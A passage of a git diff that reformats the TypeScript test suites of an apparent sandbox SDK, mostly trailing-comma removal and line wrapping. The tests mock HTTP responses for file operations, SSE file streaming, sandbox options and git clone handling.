{ status: 400 }) + ); - await expect(client.readFile('/app/logs', 'session-read')) - .rejects.toThrow(FileSystemError); + await expect( + client.readFile('/app/logs', 'session-read') + ).rejects.toThrow(FileSystemError); }); }); @@ -296,19 +311,36 @@ database: it('should stream file successfully', async () => { const mockStream = new ReadableStream({ start(controller) { - controller.enqueue(new TextEncoder().encode('data: {"type":"metadata","mimeType":"text/plain","size":100,"isBinary":false,"encoding":"utf-8"}\n\n')); - controller.enqueue(new TextEncoder().encode('data: {"type":"chunk","data":"Hello"}\n\n')); - controller.enqueue(new TextEncoder().encode('data: {"type":"complete","bytesRead":5}\n\n')); + controller.enqueue( + new TextEncoder().encode( + 'data: {"type":"metadata","mimeType":"text/plain","size":100,"isBinary":false,"encoding":"utf-8"}\n\n' + ) + ); + controller.enqueue( + new TextEncoder().encode( + 'data: {"type":"chunk","data":"Hello"}\n\n' + ) + ); + controller.enqueue( + new TextEncoder().encode( + 'data: {"type":"complete","bytesRead":5}\n\n' + ) + ); controller.close(); } }); - mockFetch.mockResolvedValue(new Response(mockStream, { - status: 200, - headers: { 'Content-Type': 'text/event-stream' } - })); + mockFetch.mockResolvedValue( + new Response(mockStream, { + status: 200, + headers: { 'Content-Type': 'text/event-stream' } + }) + ); - const result = await client.readFileStream('/app/test.txt', 'session-stream'); + const result = await client.readFileStream( + '/app/test.txt', + 'session-stream' + ); expect(result).toBeInstanceOf(ReadableStream); expect(mockFetch).toHaveBeenCalledWith( @@ -317,7 +349,7 @@ database: method: 'POST', body: JSON.stringify({ path: '/app/test.txt', - sessionId: 'session-stream', + sessionId: 'session-stream' }) }) ); @@ -326,19 +358,36 @@ database: it('should handle binary file streams', async () => { const mockStream = new ReadableStream({ start(controller) { - controller.enqueue(new TextEncoder().encode('data: {"type":"metadata","mimeType":"image/png","size":1024,"isBinary":true,"encoding":"base64"}\n\n')); - controller.enqueue(new TextEncoder().encode('data: {"type":"chunk","data":"iVBORw0K"}\n\n')); - controller.enqueue(new TextEncoder().encode('data: {"type":"complete","bytesRead":1024}\n\n')); + controller.enqueue( + new TextEncoder().encode( + 'data: {"type":"metadata","mimeType":"image/png","size":1024,"isBinary":true,"encoding":"base64"}\n\n' + ) + ); + controller.enqueue( + new TextEncoder().encode( + 'data: {"type":"chunk","data":"iVBORw0K"}\n\n' + ) + ); + controller.enqueue( + new TextEncoder().encode( + 'data: {"type":"complete","bytesRead":1024}\n\n' + ) + ); controller.close(); } }); - mockFetch.mockResolvedValue(new Response(mockStream, { - status: 200, - headers: { 'Content-Type': 'text/event-stream' } - })); + mockFetch.mockResolvedValue( + new Response(mockStream, { + status: 200, + headers: { 'Content-Type': 'text/event-stream' } + }) + ); - const result = await client.readFileStream('/app/image.png', 'session-stream'); + const result = await client.readFileStream( + '/app/image.png', + 'session-stream' + ); expect(result).toBeInstanceOf(ReadableStream); }); @@ -350,20 +399,21 @@ database: path: '/app/missing.txt' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 404 }) + ); - await expect(client.readFileStream('/app/missing.txt', 'session-stream')) - .rejects.toThrow(FileNotFoundError); + await expect( + client.readFileStream('/app/missing.txt', 'session-stream') + ).rejects.toThrow(FileNotFoundError); }); it('should handle network errors during streaming', async () => { mockFetch.mockRejectedValue(new Error('Network timeout')); - await expect(client.readFileStream('/app/file.txt', 'session-stream')) - .rejects.toThrow('Network timeout'); + await expect( + client.readFileStream('/app/file.txt', 'session-stream') + ).rejects.toThrow('Network timeout'); }); }); @@ -373,13 +423,12 @@ database: success: true, exitCode: 0, path: '/app/temp.txt', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.deleteFile('/app/temp.txt', 'session-delete'); @@ -395,13 +444,13 @@ database: path: '/app/nonexistent.txt' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 404 }) + ); - await expect(client.deleteFile('/app/nonexistent.txt', 'session-delete')) - .rejects.toThrow(FileNotFoundError); + await expect( + client.deleteFile('/app/nonexistent.txt', 'session-delete') + ).rejects.toThrow(FileNotFoundError); }); it('should handle delete permission errors', async () => { @@ -411,13 +460,13 @@ database: path: '/system/important.conf' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 403 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 403 }) + ); - await expect(client.deleteFile('/system/important.conf', 'session-delete')) - .rejects.toThrow(PermissionDeniedError); + await expect( + client.deleteFile('/system/important.conf', 'session-delete') + ).rejects.toThrow(PermissionDeniedError); }); }); @@ -428,15 +477,18 @@ database: exitCode: 0, path: '/app/old-name.txt', newPath: '/app/new-name.txt', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.renameFile('/app/old-name.txt', '/app/new-name.txt', 'session-rename'); + const result = await client.renameFile( + '/app/old-name.txt', + '/app/new-name.txt', + 'session-rename' + ); expect(result.success).toBe(true); expect(result.path).toBe('/app/old-name.txt'); @@ -451,13 +503,17 @@ database: path: '/app/existing.txt' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 409 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 409 }) + ); - await expect(client.renameFile('/app/source.txt', '/app/existing.txt', 'session-rename')) - .rejects.toThrow(FileExistsError); + await expect( + client.renameFile( + '/app/source.txt', + '/app/existing.txt', + 'session-rename' + ) + ).rejects.toThrow(FileExistsError); }); }); @@ -468,15 +524,18 @@ database: exitCode: 0, path: '/src/document.pdf', newPath: '/dest/document.pdf', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.moveFile('/src/document.pdf', '/dest/document.pdf', 'session-move'); + const result = await client.moveFile( + '/src/document.pdf', + '/dest/document.pdf', + 'session-move' + ); expect(result.success).toBe(true); expect(result.path).toBe('/src/document.pdf'); @@ -491,13 +550,17 @@ database: path: '/nonexistent/' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 404 }) + ); - await expect(client.moveFile('/app/file.txt', '/nonexistent/file.txt', 'session-move')) - .rejects.toThrow(FileSystemError); + await expect( + client.moveFile( + '/app/file.txt', + '/nonexistent/file.txt', + 'session-move' + ) + ).rejects.toThrow(FileSystemError); }); }); @@ -511,7 +574,7 @@ database: modifiedAt: '2023-01-01T00:00:00Z', mode: 'rw-r--r--', permissions: { readable: true, writable: true, executable: false }, - ...overrides, + ...overrides }); it('should list files with correct structure', async () => { @@ -520,13 +583,15 @@ database: path: '/workspace', files: [ createMockFile({ name: 'file.txt' }), - createMockFile({ name: 'dir', type: 'directory', mode: 'rwxr-xr-x' }), + createMockFile({ name: 'dir', type: 'directory', mode: 'rwxr-xr-x' }) ], count: 2, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.listFiles('/workspace', 'session-list'); @@ -543,12 +608,17 @@ database: path: '/workspace', files: [createMockFile({ name: '.hidden', relativePath: '.hidden' })], count: 1, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - await client.listFiles('/workspace', 'session-list', { recursive: true, includeHidden: true }); + await client.listFiles('/workspace', 'session-list', { + recursive: true, + includeHidden: true + }); expect(mockFetch).toHaveBeenCalledWith( expect.stringContaining('/api/list-files'), @@ -556,17 +626,25 @@ database: body: JSON.stringify({ path: '/workspace', sessionId: 'session-list', - options: { recursive: true, includeHidden: true }, + options: { recursive: true, includeHidden: true } }) }) ); }); it('should handle empty directories', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ success: true, path: '/empty', files: [], count: 0, timestamp: '2023-01-01T00:00:00Z' }), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response( + JSON.stringify({ + success: true, + path: '/empty', + files: [], + count: 0, + timestamp: '2023-01-01T00:00:00Z' + }), + { status: 200 } + ) + ); const result = await client.listFiles('/empty', 'session-list'); @@ -575,13 +653,19 @@ database: }); it('should handle error responses', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ error: 'Directory not found', code: 'FILE_NOT_FOUND' }), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response( + JSON.stringify({ + error: 'Directory not found', + code: 'FILE_NOT_FOUND' + }), + { status: 404 } + ) + ); - await expect(client.listFiles('/nonexistent', 'session-list')) - .rejects.toThrow(FileNotFoundError); + await expect( + client.listFiles('/nonexistent', 'session-list') + ).rejects.toThrow(FileNotFoundError); }); }); @@ -591,12 +675,17 @@ database: success: true, path: '/workspace/test.txt', exists: true, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.exists('/workspace/test.txt', 'session-exists'); + const result = await client.exists( + '/workspace/test.txt', + 'session-exists' + ); expect(result.success).toBe(true); expect(result.exists).toBe(true); @@ -608,12 +697,17 @@ database: success: true, path: '/workspace/nonexistent.txt', exists: false, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.exists('/workspace/nonexistent.txt', 'session-exists'); + const result = await client.exists( + '/workspace/nonexistent.txt', + 'session-exists' + ); expect(result.success).toBe(true); expect(result.exists).toBe(false); @@ -624,12 +718,17 @@ database: success: true, path: '/workspace/some-dir', exists: true, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.exists('/workspace/some-dir', 'session-exists'); + const result = await client.exists( + '/workspace/some-dir', + 'session-exists' + ); expect(result.success).toBe(true); expect(result.exists).toBe(true); @@ -640,10 +739,12 @@ database: success: true, path: '/test/path', exists: true, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); await client.exists('/test/path', 'session-test'); @@ -653,7 +754,7 @@ database: method: 'POST', body: JSON.stringify({ path: '/test/path', - sessionId: 'session-test', + sessionId: 'session-test' }) }) ); @@ -664,40 +765,51 @@ database: it('should handle network failures gracefully', async () => { mockFetch.mockRejectedValue(new Error('Network connection failed')); - await expect(client.readFile('/app/file.txt', 'session-read')) - .rejects.toThrow('Network connection failed'); + await expect( + client.readFile('/app/file.txt', 'session-read') + ).rejects.toThrow('Network connection failed'); }); it('should handle malformed server responses', async () => { - mockFetch.mockResolvedValue(new Response( - 'invalid json {', - { status: 200, headers: { 'Content-Type': 'application/json' } } - )); + mockFetch.mockResolvedValue( + new Response('invalid json {', { + status: 200, + headers: { 'Content-Type': 'application/json' } + }) + ); - await expect(client.writeFile('/app/file.txt', 'content', 'session-err')) - .rejects.toThrow(SandboxError); + await expect( + client.writeFile('/app/file.txt', 'content', 'session-err') + ).rejects.toThrow(SandboxError); }); it('should handle server errors with proper mapping', async () => { const serverErrorScenarios = [ { status: 400, code: 'FILESYSTEM_ERROR', error: FileSystemError }, - { status: 403, code: 'PERMISSION_DENIED', error: PermissionDeniedError }, + { + status: 403, + code: 'PERMISSION_DENIED', + error: PermissionDeniedError + }, { status: 404, code: 'FILE_NOT_FOUND', error: FileNotFoundError }, { status: 409, code: 'FILE_EXISTS', error: FileExistsError }, - { status: 500, code: 'INTERNAL_ERROR', error: SandboxError }, + { status: 500, code: 'INTERNAL_ERROR', error: SandboxError } ]; for (const scenario of serverErrorScenarios) { - mockFetch.mockResolvedValueOnce(new Response( - JSON.stringify({ - error: 'Test error', - code: scenario.code - }), - { status: scenario.status } - )); - - await expect(client.readFile('/app/test.txt', 'session-read')) - .rejects.toThrow(scenario.error); + mockFetch.mockResolvedValueOnce( + new Response( + JSON.stringify({ + error: 'Test error', + code: scenario.code + }), + { status: scenario.status } + ) + ); + + await expect( + client.readFile('/app/test.txt', 'session-read') + ).rejects.toThrow(scenario.error); } }); }); @@ -711,9 +823,9 @@ database: it('should initialize with full options', () => { const fullOptionsClient = new FileClient({ baseUrl: 'http://custom.com', - port: 8080, + port: 8080 }); expect(fullOptionsClient).toBeDefined(); }); }); -}); \ No newline at end of file +}); diff --git a/packages/sandbox/tests/file-stream.test.ts b/packages/sandbox/tests/file-stream.test.ts index a71a4af4..26973b3a 100644 --- a/packages/sandbox/tests/file-stream.test.ts +++ b/packages/sandbox/tests/file-stream.test.ts @@ -23,7 +23,7 @@ describe('File Streaming Utilities', () => { 'data: {"type":"metadata","mimeType":"text/plain","size":11,"isBinary":false,"encoding":"utf-8"}\n\n', 'data: {"type":"chunk","data":"Hello"}\n\n', 'data: {"type":"chunk","data":" World"}\n\n', - 'data: {"type":"complete","bytesRead":11}\n\n', + 'data: {"type":"complete","bytesRead":11}\n\n' ]); const chunks: string[] = []; @@ -44,7 +44,7 @@ describe('File Streaming Utilities', () => { mimeType: 'text/plain', size: 11, isBinary: false, - encoding: 'utf-8', + encoding: 'utf-8' }); }); @@ -53,7 +53,7 @@ describe('File Streaming Utilities', () => { const stream = createMockSSEStream([ 'data: {"type":"metadata","mimeType":"image/png","size":4,"isBinary":true,"encoding":"base64"}\n\n', 'data: {"type":"chunk","data":"dGVzdA=="}\n\n', - 'data: {"type":"complete","bytesRead":4}\n\n', + 'data: {"type":"complete","bytesRead":4}\n\n' ]); const chunks: (string | Uint8Array)[] = []; @@ -101,7 +101,7 @@ describe('File Streaming Utilities', () => { it('should handle empty files', async () => { const stream = createMockSSEStream([ 'data: {"type":"metadata","mimeType":"text/plain","size":0,"isBinary":false,"encoding":"utf-8"}\n\n', - 'data: {"type":"complete","bytesRead":0}\n\n', + 'data: {"type":"complete","bytesRead":0}\n\n' ]); const chunks: string[] = []; @@ -123,7 +123,7 @@ describe('File Streaming Utilities', () => { const stream = createMockSSEStream([ 'data: {"type":"metadata","mimeType":"text/plain","size":100,"isBinary":false,"encoding":"utf-8"}\n\n', 'data: {"type":"chunk","data":"Hello"}\n\n', - 'data: {"type":"error","error":"Read error: Permission denied"}\n\n', + 'data: {"type":"error","error":"Read error: Permission denied"}\n\n' ]); const generator = streamFile(stream); @@ -136,7 +136,9 @@ describe('File Streaming Utilities', () => { // Should have thrown expect(true).toBe(false); } catch (error) { - expect((error as Error).message).toContain('Read error: Permission denied'); + expect((error as Error).message).toContain( + 'Read error: Permission denied' + ); } }); }); @@ -147,7 +149,7 @@ describe('File Streaming Utilities', () => { 'data: {"type":"metadata","mimeType":"text/plain","size":11,"isBinary":false,"encoding":"utf-8"}\n\n', 'data: {"type":"chunk","data":"Hello"}\n\n', 'data: {"type":"chunk","data":" World"}\n\n', - 'data: {"type":"complete","bytesRead":11}\n\n', + 'data: {"type":"complete","bytesRead":11}\n\n' ]); const result = await collectFile(stream); @@ -157,7 +159,7 @@ describe('File Streaming Utilities', () => { mimeType: 'text/plain', size: 11, isBinary: false, - encoding: 'utf-8', + encoding: 'utf-8' }); }); @@ -166,7 +168,7 @@ describe('File Streaming Utilities', () => { const stream = createMockSSEStream([ 'data: {"type":"metadata","mimeType":"image/png","size":4,"isBinary":true,"encoding":"base64"}\n\n', 'data: {"type":"chunk","data":"dGVzdA=="}\n\n', - 'data: {"type":"complete","bytesRead":4}\n\n', + 'data: {"type":"complete","bytesRead":4}\n\n' ]); const result = await collectFile(stream); @@ -182,7 +184,7 @@ describe('File Streaming Utilities', () => { it('should handle empty files', async () => { const stream = createMockSSEStream([ 'data: {"type":"metadata","mimeType":"text/plain","size":0,"isBinary":false,"encoding":"utf-8"}\n\n', - 'data: {"type":"complete","bytesRead":0}\n\n', + 'data: {"type":"complete","bytesRead":0}\n\n' ]); const result = await collectFile(stream); @@ -195,7 +197,7 @@ describe('File Streaming Utilities', () => { const stream = createMockSSEStream([ 'data: {"type":"metadata","mimeType":"text/plain","size":100,"isBinary":false,"encoding":"utf-8"}\n\n', 'data: {"type":"chunk","data":"Hello"}\n\n', - 'data: {"type":"error","error":"File not found"}\n\n', + 'data: {"type":"error","error":"File not found"}\n\n' ]); await expect(collectFile(stream)).rejects.toThrow('File not found'); @@ -205,7 +207,7 @@ describe('File Streaming Utilities', () => { // Create a stream with many chunks const chunkCount = 100; const events = [ - 'data: {"type":"metadata","mimeType":"text/plain","size":500,"isBinary":false,"encoding":"utf-8"}\n\n', + 'data: {"type":"metadata","mimeType":"text/plain","size":500,"isBinary":false,"encoding":"utf-8"}\n\n' ]; for (let i = 0; i < chunkCount; i++) { @@ -227,7 +229,7 @@ describe('File Streaming Utilities', () => { // Create a stream with many base64 chunks const chunkCount = 100; const events = [ - 'data: {"type":"metadata","mimeType":"application/octet-stream","size":400,"isBinary":true,"encoding":"base64"}\n\n', + 'data: {"type":"metadata","mimeType":"application/octet-stream","size":400,"isBinary":true,"encoding":"base64"}\n\n' ]; for (let i = 0; i < chunkCount; i++) { @@ -250,7 +252,7 @@ describe('File Streaming Utilities', () => { it('should handle streams with no metadata event', async () => { const stream = createMockSSEStream([ 'data: {"type":"chunk","data":"Hello"}\n\n', - 'data: {"type":"complete","bytesRead":5}\n\n', + 'data: {"type":"complete","bytesRead":5}\n\n' ]); // Without metadata, we don't know if it's binary or text @@ -265,7 +267,9 @@ describe('File Streaming Utilities', () => { // Should have thrown expect(true).toBe(false); } catch (error) { - expect((error as Error).message).toContain('Received chunk before metadata'); + expect((error as Error).message).toContain( + 'Received chunk before metadata' + ); } }); @@ -273,7 +277,7 @@ describe('File Streaming Utilities', () => { const stream = createMockSSEStream([ 'data: {"type":"metadata","mimeType":"text/plain","size":5,"isBinary":false,"encoding":"utf-8"}\n\n', 'data: {invalid json\n\n', - 'data: {"type":"complete","bytesRead":5}\n\n', + 'data: {"type":"complete","bytesRead":5}\n\n' ]); // Malformed JSON is logged but doesn't break the stream @@ -285,16 +289,16 @@ describe('File Streaming Utilities', () => { it('should handle base64 padding correctly', async () => { // Test various base64 strings with different padding const testCases = [ - { input: 'YQ==', expected: 'a' }, // 1 byte, 2 padding - { input: 'YWI=', expected: 'ab' }, // 2 bytes, 1 padding - { input: 'YWJj', expected: 'abc' }, // 3 bytes, no padding + { input: 'YQ==', expected: 'a' }, // 1 byte, 2 padding + { input: 'YWI=', expected: 'ab' }, // 2 bytes, 1 padding + { input: 'YWJj', expected: 'abc' } // 3 bytes, no padding ]; for (const testCase of testCases) { const stream = createMockSSEStream([ `data: {"type":"metadata","mimeType":"application/octet-stream","size":${testCase.expected.length},"isBinary":true,"encoding":"base64"}\n\n`, `data: {"type":"chunk","data":"${testCase.input}"}\n\n`, - `data: {"type":"complete","bytesRead":${testCase.expected.length}}\n\n`, + `data: {"type":"complete","bytesRead":${testCase.expected.length}}\n\n` ]); const result = await collectFile(stream); diff --git a/packages/sandbox/tests/get-sandbox.test.ts b/packages/sandbox/tests/get-sandbox.test.ts index 15da1fa8..ea4d1375 100644 --- a/packages/sandbox/tests/get-sandbox.test.ts +++ b/packages/sandbox/tests/get-sandbox.test.ts @@ -12,7 +12,7 @@ vi.mock('@cloudflare/containers', () => ({ this.env = env; } }, - getContainer: vi.fn(), + getContainer: vi.fn() })); describe('getSandbox', () => { @@ -30,7 +30,7 @@ describe('getSandbox', () => { setSleepAfter: vi.fn((value: string | number) => { mockStub.sleepAfter = value; }), - setKeepAlive: vi.fn(), + setKeepAlive: vi.fn() }; // Mock getContainer to return our stub @@ -50,7 +50,7 @@ describe('getSandbox', () => { it('should apply sleepAfter option when provided as string', () => { const mockNamespace = {} as any; const sandbox = getSandbox(mockNamespace, 'test-sandbox', { - sleepAfter: '5m', + sleepAfter: '5m' }); expect(sandbox.sleepAfter).toBe('5m'); @@ -59,7 +59,7 @@ describe('getSandbox', () => { it('should apply sleepAfter option when provided as number', () => { const mockNamespace = {} as any; const sandbox = getSandbox(mockNamespace, 'test-sandbox', { - sleepAfter: 300, // 5 minutes in seconds + sleepAfter: 300 // 5 minutes in seconds }); expect(sandbox.sleepAfter).toBe(300); @@ -68,7 +68,7 @@ describe('getSandbox', () => { it('should apply baseUrl option when provided', () => { const mockNamespace = {} as any; const sandbox = getSandbox(mockNamespace, 'test-sandbox', { - baseUrl: 'https://example.com', + baseUrl: 'https://example.com' }); expect(sandbox.setBaseUrl).toHaveBeenCalledWith('https://example.com'); @@ -78,7 +78,7 @@ describe('getSandbox', () => { const mockNamespace = {} as any; const sandbox = getSandbox(mockNamespace, 'test-sandbox', { sleepAfter: '10m', - baseUrl: 'https://example.com', + baseUrl: 'https://example.com' }); expect(sandbox.sleepAfter).toBe('10m'); @@ -102,7 +102,7 @@ describe('getSandbox', () => { mockStub.sleepAfter = '3m'; const sandbox = getSandbox(mockNamespace, `test-sandbox-${timeString}`, { - sleepAfter: timeString, + sleepAfter: timeString }); expect(sandbox.sleepAfter).toBe(timeString); @@ -112,7 +112,7 @@ describe('getSandbox', () => { it('should apply keepAlive option when provided as true', () => { const mockNamespace = {} as any; const sandbox = getSandbox(mockNamespace, 'test-sandbox', { - keepAlive: true, + keepAlive: true }); expect(sandbox.setKeepAlive).toHaveBeenCalledWith(true); @@ -121,7 +121,7 @@ describe('getSandbox', () => { it('should apply keepAlive option when provided as false', () => { const mockNamespace = {} as any; const sandbox = getSandbox(mockNamespace, 'test-sandbox', { - keepAlive: false, + keepAlive: false }); expect(sandbox.setKeepAlive).toHaveBeenCalledWith(false); @@ -139,7 +139,7 @@ describe('getSandbox', () => { const sandbox = getSandbox(mockNamespace, 'test-sandbox', { sleepAfter: '5m', baseUrl: 'https://example.com', - keepAlive: true, + keepAlive: true }); expect(sandbox.sleepAfter).toBe('5m'); diff --git a/packages/sandbox/tests/git-client.test.ts b/packages/sandbox/tests/git-client.test.ts index 4dd4daf3..0da27f7f 100644 --- a/packages/sandbox/tests/git-client.test.ts +++ b/packages/sandbox/tests/git-client.test.ts @@ -19,13 +19,13 @@ describe('GitClient', () => { beforeEach(() => { vi.clearAllMocks(); - + mockFetch = vi.fn(); global.fetch = mockFetch as unknown as typeof fetch; - + client = new GitClient({ baseUrl: 'http://test.com', - port: 3000, + port: 3000 }); }); @@ -37,18 +37,24 @@ describe('GitClient', () => { it('should clone public repositories successfully', async () => { const mockResponse: GitCheckoutResponse = { success: true, - stdout: 'Cloning into \'react\'...\nReceiving objects: 100% (1284/1284), done.', + stdout: + "Cloning into 'react'...\nReceiving objects: 100% (1284/1284), done.", stderr: '', exitCode: 0, repoUrl: 'https://github.com/facebook/react.git', branch: 'main', targetDir: 'react', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.checkout('https://github.com/facebook/react.git', 'test-session'); + const result = await client.checkout( + 'https://github.com/facebook/react.git', + 'test-session' + ); expect(result.success).toBe(true); expect(result.repoUrl).toBe('https://github.com/facebook/react.git'); @@ -59,16 +65,18 @@ describe('GitClient', () => { it('should clone repositories to specific branches', async () => { const mockResponse: GitCheckoutResponse = { success: true, - stdout: 'Cloning into \'project\'...\nSwitching to branch \'development\'', + stdout: "Cloning into 'project'...\nSwitching to branch 'development'", stderr: '', exitCode: 0, repoUrl: 'https://github.com/company/project.git', branch: 'development', targetDir: 'project', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.checkout( 'https://github.com/company/project.git', @@ -83,16 +91,18 @@ describe('GitClient', () => { it('should clone repositories to custom directories', async () => { const mockResponse: GitCheckoutResponse = { success: true, - stdout: 'Cloning into \'workspace/my-app\'...\nDone.', + stdout: "Cloning into 'workspace/my-app'...\nDone.", stderr: '', exitCode: 0, repoUrl: 'https://github.com/user/my-app.git', branch: 'main', targetDir: 'workspace/my-app', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.checkout( 'https://github.com/user/my-app.git', @@ -107,18 +117,24 @@ describe('GitClient', () => { it('should handle large repository clones with warnings', async () => { const mockResponse: GitCheckoutResponse = { success: true, - stdout: 'Cloning into \'linux\'...\nReceiving objects: 100% (8125432/8125432), 2.34 GiB, done.', + stdout: + "Cloning into 'linux'...\nReceiving objects: 100% (8125432/8125432), 2.34 GiB, done.", stderr: 'warning: filtering not recognized by server', exitCode: 0, repoUrl: 'https://github.com/torvalds/linux.git', branch: 'master', targetDir: 'linux', - timestamp: '2023-01-01T00:05:30Z', + timestamp: '2023-01-01T00:05:30Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.checkout('https://github.com/torvalds/linux.git', 'test-session'); + const result = await client.checkout( + 'https://github.com/torvalds/linux.git', + 'test-session' + ); expect(result.success).toBe(true); expect(result.stderr).toContain('warning:'); @@ -127,18 +143,23 @@ describe('GitClient', () => { it('should handle SSH repository URLs', async () => { const mockResponse: GitCheckoutResponse = { success: true, - stdout: 'Cloning into \'private-project\'...\nDone.', + stdout: "Cloning into 'private-project'...\nDone.", stderr: '', exitCode: 0, repoUrl: 'git@github.com:company/private-project.git', branch: 'main', targetDir: 'private-project', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response(JSON.stringify(mockResponse), { status: 200 })); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.checkout('git@github.com:company/private-project.git', 'test-session'); + const result = await client.checkout( + 'git@github.com:company/private-project.git', + 'test-session' + ); expect(result.success).toBe(true); expect(result.repoUrl).toBe('git@github.com:company/private-project.git'); @@ -149,26 +170,32 @@ describe('GitClient', () => { const body = JSON.parse(options.body as string); const repoName = body.repoUrl.split('/').pop().replace('.git', ''); - return Promise.resolve(new Response(JSON.stringify({ - success: true, - stdout: `Cloning into '${repoName}'...\nDone.`, - stderr: '', - exitCode: 0, - repoUrl: body.repoUrl, - branch: body.branch || 'main', - targetDir: body.targetDir || repoName, - timestamp: new Date().toISOString(), - }))); + return Promise.resolve( + new Response( + JSON.stringify({ + success: true, + stdout: `Cloning into '${repoName}'...\nDone.`, + stderr: '', + exitCode: 0, + repoUrl: body.repoUrl, + branch: body.branch || 'main', + targetDir: body.targetDir || repoName, + timestamp: new Date().toISOString() + }) + ) + ); }); const operations = await Promise.all([ client.checkout('https://github.com/facebook/react.git', 'session-1'), client.checkout('https://github.com/microsoft/vscode.git', 'session-2'), - client.checkout('https://github.com/nodejs/node.git', 'session-3', { branch: 'v18.x' }), + client.checkout('https://github.com/nodejs/node.git', 'session-3', { + branch: 'v18.x' + }) ]); expect(operations).toHaveLength(3); - operations.forEach(result => { + operations.forEach((result) => { expect(result.success).toBe(true); }); expect(mockFetch).toHaveBeenCalledTimes(3); @@ -177,96 +204,141 @@ describe('GitClient', () => { describe('repository error handling', () => { it('should handle repository not found errors', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ error: 'Repository not found', code: 'GIT_REPOSITORY_NOT_FOUND' }), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response( + JSON.stringify({ + error: 'Repository not found', + code: 'GIT_REPOSITORY_NOT_FOUND' + }), + { status: 404 } + ) + ); - await expect(client.checkout('https://github.com/user/nonexistent.git', 'test-session')) - .rejects.toThrow(GitRepositoryNotFoundError); + await expect( + client.checkout( + 'https://github.com/user/nonexistent.git', + 'test-session' + ) + ).rejects.toThrow(GitRepositoryNotFoundError); }); it('should handle authentication failures', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ error: 'Authentication failed', code: 'GIT_AUTH_FAILED' }), - 